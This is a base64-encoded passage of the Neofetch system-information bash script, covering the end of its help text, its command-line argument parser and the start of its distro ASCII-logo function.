vb2ZmICAgICAgICAgV2hldGhlciBvciBub3QgdG8gYm9sZCB0aGUgYXNjaWkgbG9nby4KICAgIC1MLCAtLWxvZ28gICAgICAgICAgICAgICAgICBIaWRlIHRoZSBpbmZvIHRleHQgYW5kIG9ubHkgc2hvdyB0aGUgYXNjaWkgbG9nby4KCklNQUdFOgogICAgLS1sb29wICAgICAgICAgICAgICAgICAgICAgIFJlZHJhdyB0aGUgaW1hZ2UgY29uc3RhbnRseSB1bnRpbCBDdHJsK0MgaXMgdXNlZC4gVGhpcyBmaXhlcyBpc3N1ZXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbiBzb21lIHRlcm1pbmFscyBlbXVsYXRvcnMgd2hlbiB1c2luZyBpbWFnZSBtb2RlLgogICAgLS1zaXplIDAwcHggfCAtLXNpemUgMDAlICAgIEhvdyB0byBzaXplIHRoZSBpbWFnZS4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQb3NzaWJsZSB2YWx1ZXM6IGF1dG8sIDAwcHgsIDAwJSwgbm9uZQogICAgLS1jYXRpbWdfc2l6ZSAxLzIgICAgICAgICAgIENoYW5nZSB0aGUgcmVzb2x1dGlvbiBvZiBjYXRpbWcuCiAgICAtLWNyb3BfbW9kZSBtb2RlICAgICAgICAgICAgV2hpY2ggY3JvcCBtb2RlIHRvIHVzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRha2VzIHRoZSB2YWx1ZXM6IG5vcm1hbCwgZml0LCBmaWxsCiAgICAtLWNyb3Bfb2Zmc2V0IHZhbHVlICAgICAgICAgQ2hhbmdlIHRoZSBjcm9wIG9mZnNldCBmb3Igbm9ybWFsIG1vZGUuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUG9zc2libGUgdmFsdWVzOiBub3J0aHdlc3QsIG5vcnRoLCBub3J0aGVhc3QsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2VzdCwgY2VudGVyLCBlYXN0LCBzb3V0aHdlc3QsIHNvdXRoLCBzb3V0aGVhc3QKCiAgICAtLXhvZmZzZXQgcHggICAgICAgICAgICAgICAgSG93IGNsb3NlIHRoZSBpbWFnZSB3aWxsIGJlIHRvIHRoZSBsZWZ0IGVkZ2Ugb2YgdGhlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LiBUaGlzIG9ubHkgd29ya3Mgd2l0aCB3M20uCiAgICAtLXlvZmZzZXQgcHggICAgICAgICAgICAgICAgSG93IGNsb3NlIHRoZSBpbWFnZSB3aWxsIGJlIHRvIHRoZSB0b3AgZWRnZSBvZiB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cuIFRoaXMgb25seSB3b3JrcyB3aXRoIHczbS4KICAgIC0tYmdfY29sb3IgY29sb3IgICAgICAgICAgICBCYWNrZ3JvdW5kIGNvbG9yIHRvIGRpc3BsYXkgYmVoaW5kIHRyYW5zcGFyZW50IGltYWdlLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRoaXMgb25seSB3b3JrcyB3aXRoIHczbS4KICAgIC0tZ2FwIG51bSAgICAgICAgICAgICAgICAgICBHYXAgYmV0d2VlbiBpbWFnZSBhbmQgdGV4dC4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTk9URTogLS1nYXAgY2FuIHRha2UgYSBuZWdhdGl2ZSB2YWx1ZSB3aGljaCB3aWxsIG1vdmUgdGhlIHRleHQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbG9zZXIgdG8gdGhlIGxlZnQgc2lkZS4KCiAgICAtLWNsZWFuICAgICAgICAgICAgICAgICAgICAgRGVsZXRlIGNhY2hlZCBmaWxlcyBhbmQgdGh1bWJuYWlscy4KCk9USEVSOgogICAgLS1jb25maWcgL3BhdGgvdG8vY29uZmlnICAgIFNwZWNpZnkgYSBwYXRoIHRvIGEgY3VzdG9tIGNvbmZpZyBmaWxlCiAgICAtLWNvbmZpZyBub25lICAgICAgICAgICAgICAgTGF1bmNoIHRoZSBzY3JpcHQgd2l0aG91dCBhIGNvbmZpZyBmaWxlCiAgICAtLW5vX2NvbmZpZyAgICAgICAgICAgICAgICAgRG9uJ3QgY3JlYXRlIHRoZSB1c2VyIGNvbmZpZyBmaWxlLgogICAgLS1wcmludF9jb25maWcgICAgICAgICAgICAgIFByaW50IHRoZSBkZWZhdWx0IGNvbmZpZyBmaWxlIHRvIHN0ZG91dC4KICAgIC0tc3Rkb3V0ICAgICAgICAgICAgICAgICAgICBUdXJuIG9mZiBhbGwgY29sb3JzIGFuZCBkaXNhYmxlcyBhbnkgQVNDSUkvaW1hZ2UgYmFja2VuZC4KICAgIC0taGVscCAgICAgICAgICAgICAgICAgICAgICBQcmludCB0aGlzIHRleHQgYW5kIGV4aXQKICAgIC0tdmVyc2lvbiAgICAgICAgICAgICAgICAgICBTaG93IG5lb2ZldGNoIHZlcnNpb24KICAgIC12ICAgICAgICAgICAgICAgICAgICAgICAgICBEaXNwbGF5IGVycm9yIG1lc3NhZ2VzLgogICAgLXZ2ICAgICAgICAgICAgICAgICAgICAgICAgIERpc3BsYXkgYSB2ZXJib3NlIGxvZyBmb3IgZXJyb3IgcmVwb3J0aW5nLgoKREVWRUxPUEVSOgogICAgLS1nZW4tbWFuICAgICAgICAgICAgICAgICAgIEdlbmVyYXRlIGEgbWFucGFnZSBmb3IgTmVvZmV0Y2ggaW4geW91ciBQV0QuIChSZXF1aXJlcyBHTlUgaGVscDJtYW4pCgoKUmVwb3J0IGJ1Z3MgdG8gaHR0cHM6Ly9naXRodWIuY29tL2R5bGFuYXJhcHMvbmVvZmV0Y2gvaXNzdWVzCgoiCmV4aXQgMQp9CgpnZXRfYXJncygpIHsKICAgICMgQ2hlY2sgdGhlIGNvbW1hbmRsaW5lIGZsYWdzIGVhcmx5IGZvciAnLS1jb25maWcnLgogICAgW1sgIiQqIiAhPSAqLS1jb25maWcqICYmICIkKiIgIT0gKi0tbm9fY29uZmlnKiBdXSAmJiBnZXRfdXNlcl9jb25maWcKCiAgICB3aGlsZSBbWyAiJDEiIF1dOyBkbwogICAgICAgIGNhc2UgJDEgaW4KICAgICAgICAgICAgIyBJbmZvCiAgICAgICAgICAgICItLXRpdGxlX2ZxZG4iKSB0aXRsZV9mcWRuPSIkMiIgOzsKICAgICAgICAgICAgIi0tcGFja2FnZV9tYW5hZ2VycyIpIHBhY2thZ2VfbWFuYWdlcnM9IiQyIiA7OwogICAgICAgICAgICAiLS1vc19hcmNoIikgb3NfYXJjaD0iJDIiIDs7CiAgICAgICAgICAgICItLWNwdV9jb3JlcyIpIGNwdV9jb3Jlcz0iJDIiIDs7CiAgICAgICAgICAgICItLWNwdV9zcGVlZCIpIGNwdV9zcGVlZD0iJDIiIDs7CiAgICAgICAgICAgICItLXNwZWVkX3R5cGUiKSBzcGVlZF90eXBlPSIkMiIgOzsKICAgICAgICAgICAgIi0tc3BlZWRfc2hvcnRoYW5kIikgc3BlZWRfc2hvcnRoYW5kPSIkMiIgOzsKICAgICAgICAgICAgIi0tZGlzdHJvX3Nob3J0aGFuZCIpIGRpc3Ryb19zaG9ydGhhbmQ9IiQyIiA7OwogICAgICAgICAgICAiLS1rZXJuZWxfc2hvcnRoYW5kIikga2VybmVsX3Nob3J0aGFuZD0iJDIiIDs7CiAgICAgICAgICAgICItLXVwdGltZV9zaG9ydGhhbmQiKSB1cHRpbWVfc2hvcnRoYW5kPSIkMiIgOzsKICAgICAgICAgICAgIi0tY3B1X2JyYW5kIikgY3B1X2JyYW5kPSIkMiIgOzsKICAgICAgICAgICAgIi0tZ3B1X2JyYW5kIikgZ3B1X2JyYW5kPSIkMiIgOzsKICAgICAgICAgICAgIi0tZ3B1X3R5cGUiKSBncHVfdHlwZT0iJDIiIDs7CiAgICAgICAgICAgICItLXJlZnJlc2hfcmF0ZSIpIHJlZnJlc2hfcmF0ZT0iJDIiIDs7CiAgICAgICAgICAgICItLWRlX3ZlcnNpb24iKSBkZV92ZXJzaW9uPSIkMiIgOzsKICAgICAgICAgICAgIi0tZ3RrX3Nob3J0aGFuZCIpIGd0a19zaG9ydGhhbmQ9IiQyIiA7OwogICAgICAgICAgICAiLS1ndGsyIikgZ3RrMj0iJDIiIDs7CiAgICAgICAgICAgICItLWd0azMiKSBndGszPSIkMiIgOzsKICAgICAgICAgICAgIi0tc2hlbGxfcGF0aCIpIHNoZWxsX3BhdGg9IiQyIiA7OwogICAgICAgICAgICAiLS1zaGVsbF92ZXJzaW9uIikgc2hlbGxfdmVyc2lvbj0iJDIiIDs7CiAgICAgICAgICAgICItLWlwX2hvc3QiKSBwdWJsaWNfaXBfaG9zdD0iJDIiIDs7CiAgICAgICAgICAgICItLWlwX3RpbWVvdXQiKSBwdWJsaWNfaXBfdGltZW91dD0iJDIiIDs7CiAgICAgICAgICAgICItLWlwX2ludGVyZmFjZSIpCiAgICAgICAgICAgICAgICB1bnNldCBsb2NhbF9pcF9pbnRlcmZhY2UKICAgICAgICAgICAgICAgIGZvciBhcmcgaW4gIiRAIjsgZG8KICAgICAgICAgICAgICAgICAgICBjYXNlICIkYXJnIiBpbgogICAgICAgICAgICAgICAgICAgICAgICAiLS1pcF9pbnRlcmZhY2UiKSA7OwogICAgICAgICAgICAgICAgICAgICAgICAiLSIqKSBicmVhayA7OwogICAgICAgICAgICAgICAgICAgICAgICAqKSBsb2NhbF9pcF9pbnRlcmZhY2UrPSgiJGFyZyIpIDs7CiAgICAgICAgICAgICAgICAgICAgZXNhYwogICAgICAgICAgICAgICAgZG9uZQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIi0tc29uZ19mb3JtYXQiKSBzb25nX2Zvcm1hdD0iJDIiIDs7CiAgICAgICAgICAgICItLXNvbmdfc2hvcnRoYW5kIikgc29uZ19zaG9ydGhhbmQ9IiQyIiA7OwogICAgICAgICAgICAiLS1tdXNpY19wbGF5ZXIiKSBtdXNpY19wbGF5ZXI9IiQyIiA7OwogICAgICAgICAgICAiLS1tZW1vcnlfcGVyY2VudCIpIG1lbW9yeV9wZXJjZW50PSIkMiIgOzsKICAgICAgICAgICAgIi0tbWVtb3J5X3VuaXQiKSBtZW1vcnlfdW5pdD0iJDIiIDs7CiAgICAgICAgICAgICItLWNwdV90ZW1wIikKICAgICAgICAgICAgICAgIGNwdV90ZW1wPSIkMiIKICAgICAgICAgICAgICAgIFtbICIkY3B1X3RlbXAiID09ICJvbiIgXV0gJiYgY3B1X3RlbXA9IkMiCiAgICAgICAgICAgIDs7CgogICAgICAgICAgICAiLS1kaXNrX3N1YnRpdGxlIikgZGlza19zdWJ0aXRsZT0iJDIiIDs7CiAgICAgICAgICAgICItLWRpc2tfcGVyY2VudCIpICBkaXNrX3BlcmNlbnQ9IiQyIiA7OwogICAgICAgICAgICAiLS1kaXNrX3Nob3ciKQogICAgICAgICAgICAgICAgdW5zZXQgZGlza19zaG93CiAgICAgICAgICAgICAgICBmb3IgYXJnIGluICIkQCI7IGRvCiAgICAgICAgICAgICAgICAgICAgY2FzZSAkYXJnIGluCiAgICAgICAgICAgICAgICAgICAgICAgICItLWRpc2tfc2hvdyIpIDs7CiAgICAgICAgICAgICAgICAgICAgICAgICItIiopIGJyZWFrIDs7CiAgICAgICAgICAgICAgICAgICAgICAgICopIGRpc2tfc2hvdys9KCIkYXJnIikgOzsKICAgICAgICAgICAgICAgICAgICBlc2FjCiAgICAgICAgICAgICAgICBkb25lCiAgICAgICAgICAgIDs7CgogICAgICAgICAgICAiLS1kaXNhYmxlIikKICAgICAgICAgICAgICAgIGZvciBmdW5jIGluICIkQCI7IGRvCiAgICAgICAgICAgICAgICAgICAgY2FzZSAkZnVuYyBpbgogICAgICAgICAgICAgICAgICAgICAgICAiLS1kaXNhYmxlIikgY29udGludWUgOzsKICAgICAgICAgICAgICAgICAgICAgICAgIi0iKikgYnJlYWsgOzsKICAgICAgICAgICAgICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICgoYmFzaF92ZXJzaW9uID49IDQpKSAmJiBmdW5jPSIke2Z1bmMsLH0iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bnNldCAtZiAiZ2V0XyRmdW5jIgogICAgICAgICAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICMgVGV4dCBDb2xvcnMKICAgICAgICAgICAgIi0tY29sb3JzIikKICAgICAgICAgICAgICAgIHVuc2V0IGNvbG9ycwogICAgICAgICAgICAgICAgZm9yIGFyZyBpbiAiJDIiICIkMyIgIiQ0IiAiJDUiICIkNiIgIiQ3IjsgZG8KICAgICAgICAgICAgICAgICAgICBjYXNlICRhcmcgaW4KICAgICAgICAgICAgICAgICAgICAgICAgIi0iKikgYnJlYWsgOzsKICAgICAgICAgICAgICAgICAgICAgICAgKikgY29sb3JzKz0oIiRhcmciKSA7OwogICAgICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgICAgIGNvbG9ycys9KDcgNyA3IDcgNyA3KQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIyBUZXh0IEZvcm1hdHRpbmcKICAgICAgICAgICAgIi0tdW5kZXJsaW5lIikgdW5kZXJsaW5lX2VuYWJsZWQ9IiQyIiA7OwogICAgICAgICAgICAiLS11bmRlcmxpbmVfY2hhciIpIHVuZGVybGluZV9jaGFyPSIkMiIgOzsKICAgICAgICAgICAgIi0tYm9sZCIpIGJvbGQ9IiQyIiA7OwogICAgICAgICAgICAiLS1zZXBhcmF0b3IiKSBzZXBhcmF0b3I9IiQyIiA7OwoKICAgICAgICAgICAgIyBDb2xvciBCbG9ja3MKICAgICAgICAgICAgIi0tY29sb3JfYmxvY2tzIikgY29sb3JfYmxvY2tzPSIkMiIgOzsKICAgICAgICAgICAgIi0tYmxvY2tfcmFuZ2UiKSBibG9ja19yYW5nZT0oIiQyIiAiJDMiKSA7OwogICAgICAgICAgICAiLS1ibG9ja193aWR0aCIpIGJsb2NrX3dpZHRoPSIkMiIgOzsKICAgICAgICAgICAgIi0tYmxvY2tfaGVpZ2h0IikgYmxvY2tfaGVpZ2h0PSIkMiIgOzsKICAgICAgICAgICAgIi0tY29sX29mZnNldCIpIGNvbF9vZmZzZXQ9IiQyIiA7OwoKICAgICAgICAgICAgIyBCYXJzCiAgICAgICAgICAgICItLWJhcl9jaGFyIikKICAgICAgICAgICAgICAgIGJhcl9jaGFyX2VsYXBzZWQ9IiQyIgogICAgICAgICAgICAgICAgYmFyX2NoYXJfdG90YWw9IiQzIgogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIi0tYmFyX2JvcmRlciIpIGJhcl9ib3JkZXI9IiQyIiA7OwogICAgICAgICAgICAiLS1iYXJfbGVuZ3RoIikgYmFyX2xlbmd0aD0iJDIiIDs7CiAgICAgICAgICAgICItLWJhcl9jb2xvcnMiKQogICAgICAgICAgICAgICAgYmFyX2NvbG9yX2VsYXBzZWQ9IiQyIgogICAgICAgICAgICAgICAgYmFyX2NvbG9yX3RvdGFsPSIkMyIKICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICItLW1lbW9yeV9kaXNwbGF5IikgbWVtb3J5X2Rpc3BsYXk9IiQyIiA7OwogICAgICAgICAgICAiLS1iYXR0ZXJ5X2Rpc3BsYXkiKSBiYXR0ZXJ5X2Rpc3BsYXk9IiQyIiA7OwogICAgICAgICAgICAiLS1kaXNrX2Rpc3BsYXkiKSBkaXNrX2Rpc3BsYXk9IiQyIiA7OwoKICAgICAgICAgICAgIyBJbWFnZSBiYWNrZW5kCiAgICAgICAgICAgICItLWJhY2tlbmQiKSBpbWFnZV9iYWNrZW5kPSIkMiIgOzsKICAgICAgICAgICAgIi0tc291cmNlIikgaW1hZ2Vfc291cmNlPSIkMiIgOzsKICAgICAgICAgICAgIi0tYXNjaWkiIHwgIi0tY2FjYSIgfCAiLS1jYXRpbWciIHwgIi0tY2hhZmEiIHwgIi0tanAyYSIgfCAiLS1pdGVybTIiIHwgIi0tb2ZmIiB8XAogICAgICAgICAgICAiLS1wb3QiIHwgIi0tcGl4dGVybSIgfCAiLS1zaXhlbCIgfCAiLS10ZXJtcGl4IiB8ICItLXR5Y2F0IiB8ICItLXczbSIgfCAiLS1raXR0eSIgfFwKICAgICAgICAgICAgIi0tdWViZXJ6dWciIHwgIi0tdml1IikKICAgICAgICAgICAgICAgIGltYWdlX2JhY2tlbmQ9IiR7MS8tLX0iCiAgICAgICAgICAgICAgICBjYXNlICQyIGluCiAgICAgICAgICAgICAgICAgICAgIi0iKiB8ICIiKSA7OwogICAgICAgICAgICAgICAgICAgICopIGltYWdlX3NvdXJjZT0iJDIiIDs7CiAgICAgICAgICAgICAgICBlc2FjCiAgICAgICAgICAgIDs7CgogICAgICAgICAgICAjIEltYWdlIG9wdGlvbnMKICAgICAgICAgICAgIi0tbG9vcCIpIGltYWdlX2xvb3A9Im9uIiA7OwogICAgICAgICAgICAiLS1pbWFnZV9zaXplIiB8ICItLXNpemUiKSBpbWFnZV9zaXplPSIkMiIgOzsKICAgICAgICAgICAgIi0tY2F0aW1nX3NpemUiKSBjYXRpbWdfc2l6ZT0iJDIiIDs7CiAgICAgICAgICAgICItLWNyb3BfbW9kZSIpIGNyb3BfbW9kZT0iJDIiIDs7CiAgICAgICAgICAgICItLWNyb3Bfb2Zmc2V0IikgY3JvcF9vZmZzZXQ9IiQyIiA7OwogICAgICAgICAgICAiLS14b2Zmc2V0IikgeG9mZnNldD0iJDIiIDs7CiAgICAgICAgICAgICItLXlvZmZzZXQiKSB5b2Zmc2V0PSIkMiIgOzsKICAgICAgICAgICAgIi0tYmFja2dyb3VuZF9jb2xvciIgfCAiLS1iZ19jb2xvciIpIGJhY2tncm91bmRfY29sb3I9IiQyIiA7OwogICAgICAgICAgICAiLS1nYXAiKSBnYXA9IiQyIiA7OwogICAgICAgICAgICAiLS1jbGVhbiIpCiAgICAgICAgICAgICAgICBbWyAtZCAiJHRodW1ibmFpbF9kaXIiIF1dICYmIHJtIC1yZiAiJHRodW1ibmFpbF9kaXIiCiAgICAgICAgICAgICAgICBybSAtcmYgIi9MaWJyYXJ5L0NhY2hlcy9uZW9mZXRjaC8iCiAgICAgICAgICAgICAgICBybSAtcmYgIi90bXAvbmVvZmV0Y2gvIgogICAgICAgICAgICAgICAgZXhpdAogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIi0tYXNjaWlfY29sb3JzIikKICAgICAgICAgICAgICAgIHVuc2V0IGFzY2lpX2NvbG9ycwogICAgICAgICAgICAgICAgZm9yIGFyZyBpbiAiJDIiICIkMyIgIiQ0IiAiJDUiICIkNiIgIiQ3IjsgZG8KICAgICAgICAgICAgICAgICAgICBjYXNlICRhcmcgaW4KICAgICAgICAgICAgICAgICAgICAgICAgIi0iKikgYnJlYWsgOzsKICAgICAgICAgICAgICAgICAgICAgICAgKikgYXNjaWlfY29sb3JzKz0oIiRhcmciKQogICAgICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgICAgIGFzY2lpX2NvbG9ycys9KDcgNyA3IDcgNyA3KQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIi0tYXNjaWlfZGlzdHJvIikKICAgICAgICAgICAgICAgIGltYWdlX2JhY2tlbmQ9ImFzY2lpIgogICAgICAgICAgICAgICAgYXNjaWlfZGlzdHJvPSIkMiIKICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICItLWFzY2lpX2JvbGQiKSBhc2NpaV9ib2xkPSIkMiIgOzsKICAgICAgICAgICAgIi0tbG9nbyIgfCAiLUwiKQogICAgICAgICAgICAgICAgaW1hZ2VfYmFja2VuZD0iYXNjaWkiCiAgICAgICAgICAgICAgICBwcmludF9pbmZvKCkgeyBwcmludGYgJ1xuJzsgfQogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIyBPdGhlcgogICAgICAgICAgICAiLS1jb25maWciKQogICAgICAgICAgICAgICAgY2FzZSAkMiBpbgogICAgICAgICAgICAgICAgICAgICJub25lIiB8ICJvZmYiIHwgIiIpIDs7CiAgICAgICAgICAgICAgICAgICAgKikKICAgICAgICAgICAgICAgICAgICAgICAgY29uZmlnX2ZpbGU9IiQoZ2V0X2Z1bGxfcGF0aCAiJDIiKSIKICAgICAgICAgICAgICAgICAgICAgICAgZ2V0X3VzZXJfY29uZmlnCiAgICAgICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgOzsKICAgICAgICAgICAgIi0tbm9fY29uZmlnIikgbm9fY29uZmlnPSJvbiIgOzsKICAgICAgICAgICAgIi0tc3Rkb3V0Iikgc3Rkb3V0PSJvbiIgOzsKICAgICAgICAgICAgIi12IikgdmVyYm9zZT0ib24iIDs7CiAgICAgICAgICAgICItLXByaW50X2NvbmZpZyIpIHByaW50ZiAnJXNcbicgIiRjb25maWciOyBleGl0IDs7CiAgICAgICAgICAgICItdnYiKSBzZXQgLXg7IHZlcmJvc2U9Im9uIiA7OwogICAgICAgICAgICAiLS1oZWxwIikgdXNhZ2UgOzsKICAgICAgICAgICAgIi0tdmVyc2lvbiIpCiAgICAgICAgICAgICAgICBwcmludGYgJyVzXG4nICJOZW9mZXRjaCAkdmVyc2lvbiIKICAgICAgICAgICAgICAgIGV4aXQgMQogICAgICAgICAgICA7OwogICAgICAgICAgICAiLS1nZW4tbWFuIikKICAgICAgICAgICAgICAgIGhlbHAybWFuIC1uICJBIGZhc3QsIGhpZ2hseSBjdXN0b21pemFibGUgc3lzdGVtIGluZm8gc2NyaXB0IiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgLU4gLi9uZW9mZXRjaCAtbyBuZW9mZXRjaC4xCiAgICAgICAgICAgICAgICBleGl0IDEKICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICItLWpzb24iKQogICAgICAgICAgICAgICAganNvbj0ib24iCiAgICAgICAgICAgICAgICB1bnNldCAtZiBnZXRfdGl0bGUgZ2V0X2NvbHMgZ2V0X3VuZGVybGluZQoKICAgICAgICAgICAgICAgIHByaW50ZiAne1xuJwogICAgICAgICAgICAgICAgcHJpbnRfaW5mbyAyPi9kZXYvbnVsbAogICAgICAgICAgICAgICAgcHJpbnRmICcgICAgJXNcbicgIlwiVmVyc2lvblwiOiBcIiR7dmVyc2lvbn1cIiIKICAgICAgICAgICAgICAgIHByaW50ZiAnfVxuJwogICAgICAgICAgICAgICAgZXhpdAogICAgICAgICAgICA7OwoKICAgICAgICAgICAgIi0tdHJhdmlzIikKICAgICAgICAgICAgICAgIHByaW50X2luZm8oKSB7CiAgICAgICAgICAgICAgICAgICAgaW5mbyB0aXRsZQogICAgICAgICAgICAgICAgICAgIGluZm8gdW5kZXJsaW5lCgogICAgICAgICAgICAgICAgICAgIGluZm8gIk9TIiBkaXN0cm8KICAgICAgICAgICAgICAgICAgICBpbmZvICJIb3N0IiBtb2RlbAogICAgICAgICAgICAgICAgICAgIGluZm8gIktlcm5lbCIga2VybmVsCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiVXB0aW1lIiB1cHRpbWUKICAgICAgICAgICAgICAgICAgICBpbmZvICJQYWNrYWdlcyIgcGFja2FnZXMKICAgICAgICAgICAgICAgICAgICBpbmZvICJTaGVsbCIgc2hlbGwKICAgICAgICAgICAgICAgICAgICBpbmZvICJSZXNvbHV0aW9uIiByZXNvbHV0aW9uCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiREUiIGRlCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiV00iIHdtCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiV00gVGhlbWUiIHdtX3RoZW1lCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiVGhlbWUiIHRoZW1lCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiSWNvbnMiIGljb25zCiAgICAgICAgICAgICAgICAgICAgaW5mbyAiVGVybWluYWwiIHRlcm0KICAgICAgICAgICAgICAgICAgICBpbmZvICJUZXJtaW5hbCBGb250IiB0ZXJtX2ZvbnQKICAgICAgICAgICAgICAgICAgICBpbmZvICJDUFUiIGNwdQogICAgICAgICAgICAgICAgICAgIGluZm8gIkdQVSIgZ3B1CiAgICAgICAgICAgICAgICAgICAgaW5mbyAiR1BVIERyaXZlciIgZ3B1X2RyaXZlcgogICAgICAgICAgICAgICAgICAgIGluZm8gIk1lbW9yeSIgbWVtb3J5CgogICAgICAgICAgICAgICAgICAgIGluZm8gIkRpc2siIGRpc2sKICAgICAgICAgICAgICAgICAgICBpbmZvICJCYXR0ZXJ5IiBiYXR0ZXJ5CiAgICAgICAgICAgICAgICAgICAgaW5mbyAiRm9udCIgZm9udAogICAgICAgICAgICAgICAgICAgIGluZm8gIlNvbmciIHNvbmcKICAgICAgICAgICAgICAgICAgICBpbmZvICJMb2NhbCBJUCIgbG9jYWxfaXAKICAgICAgICAgICAgICAgICAgICBpbmZvICJQdWJsaWMgSVAiIHB1YmxpY19pcAogICAgICAgICAgICAgICAgICAgIGluZm8gIlVzZXJzIiB1c2VycwoKICAgICAgICAgICAgICAgICAgICBpbmZvIGNvbHMKCiAgICAgICAgICAgICAgICAgICAgIyBUZXN0aW5nLgogICAgICAgICAgICAgICAgICAgIHByaW4gInByaW4iCiAgICAgICAgICAgICAgICAgICAgcHJpbiAicHJpbiIgInByaW4iCgogICAgICAgICAgICAgICAgICAgICMgVGVzdGluZyBubyBzdWJ0aXRsZXMuCiAgICAgICAgICAgICAgICAgICAgaW5mbyB1cHRpbWUKICAgICAgICAgICAgICAgICAgICBpbmZvIGRpc2sKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICByZWZyZXNoX3JhdGU9Im9uIgogICAgICAgICAgICAgICAgc2hlbGxfdmVyc2lvbj0ib24iCiAgICAgICAgICAgICAgICBtZW1vcnlfZGlzcGxheT0iaW5mb2JhciIKICAgICAgICAgICAgICAgIGRpc2tfZGlzcGxheT0iaW5mb2JhciIKICAgICAgICAgICAgICAgIGNwdV90ZW1wPSJDIgoKICAgICAgICAgICAgICAgICMgS25vd24gaW1wbGljaXQgdW51c2VkIHZhcmlhYmxlcy4KICAgICAgICAgICAgICAgIG1wY19hcmdzPSgpCiAgICAgICAgICAgICAgICBwcmludGYgJyVzXG4nICIka2VybmVsICRpY29ucyAkZm9udCAkYmF0dGVyeSAkbG9jYWxlICR7bXBjX2FyZ3NbKl19IgogICAgICAgICAgICA7OwogICAgICAgIGVzYWMKCiAgICAgICAgc2hpZnQKICAgIGRvbmUKfQoKZ2V0X3NpbXBsZSgpIHsKICAgIHdoaWxlIFtbICIkMSIgXV07IGRvCiAgICAgICAgW1sgIiQodHlwZSAtdCAiZ2V0XyQxIikiID09ICJmdW5jdGlvbiIgXV0gJiYgewogICAgICAgICAgICBnZXRfZGlzdHJvCiAgICAgICAgICAgIHN0ZG91dAogICAgICAgICAgICBzaW1wbGU9MQogICAgICAgICAgICBpbmZvICIkMSIgIiQxIgogICAgICAgIH0KICAgICAgICBzaGlmdAogICAgZG9uZQogICAgKChzaW1wbGUpKSAmJiBleGl0Cn0KCm9sZF9mdW5jdGlvbnMoKSB7CiAgICAjIFJlbW92ZWQgZnVuY3Rpb25zIGZvciBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eS4KICAgIGdldF9saW5lX2JyZWFrKCkgeyA6OyB9CiAgICBnZXRfY3B1X3VzYWdlKCkgeyA6OyB9Cn0KCmdldF9kaXN0cm9fYXNjaWkoKSB7CiAgICAjIFRoaXMgZnVuY3Rpb24gZ2V0cyB0aGUgZGlzdHJvIGFzY2lpIGFydCBhbmQgY29sb3JzLgogICAgIwogICAgIyAkYXNjaWlfZGlzdHJvIGlzIHRoZSBzYW1lIGFzICRkaXN0cm8uCiAgICBjYXNlICQodHJpbSAiJGFzY2lpX2Rpc3RybyIpIGluCiAgICAgICAgIkFJWCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgIGA6K3Nzc3Nvc3Nvc3NzcystYAogICAgICAgIC5veXMvLy9veWhkZGRkaHlvLy8vc3krLgogICAgICAveW86K2hOTk5OTk5OTk5OTk5OTk5OaCs6b3kvCiAgICA6aC86eU5OTk5OTk5OTk5OTk5OTk5OTk5OTk55LStoOgogIGB5cy55Tk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk55LnlzCiBgaCstbU5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5tLW9oCiBoKy1OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTi5veQovZGBtTk5OTk5OTi86Om1OTk5kOjptKzovZE5OTm86OmROTk5kYG06CmgvL05OTk5OTk46IC4gLk5OTmggIG1ObyAgb2QuIC1kTk5OTk46K3kKTi5zTk5OTk5OKyAtTi8gLU5OaCAgbU5OZC4gICBzTk5OTk5OTm8tbQpOLnNOTk5OTnMgICtvbyAgL05oICBtTk5zYCBgIC9tTk5OTk5Oby1tCmgvL05OTk5oICBvc3Nzc2AgK2ggIG1kLSAuaG0vIGBzTk5OTk46K3kKOmRgbU5OTisveU5OTk5OZC8veS8vaC8vb05OTk55Ly9zTk5OZGBtLQogeW8tTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTm0uc3MKIGBoKy1tTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTm0tb3kKICAgc3kueU5OTk5OTk5OTk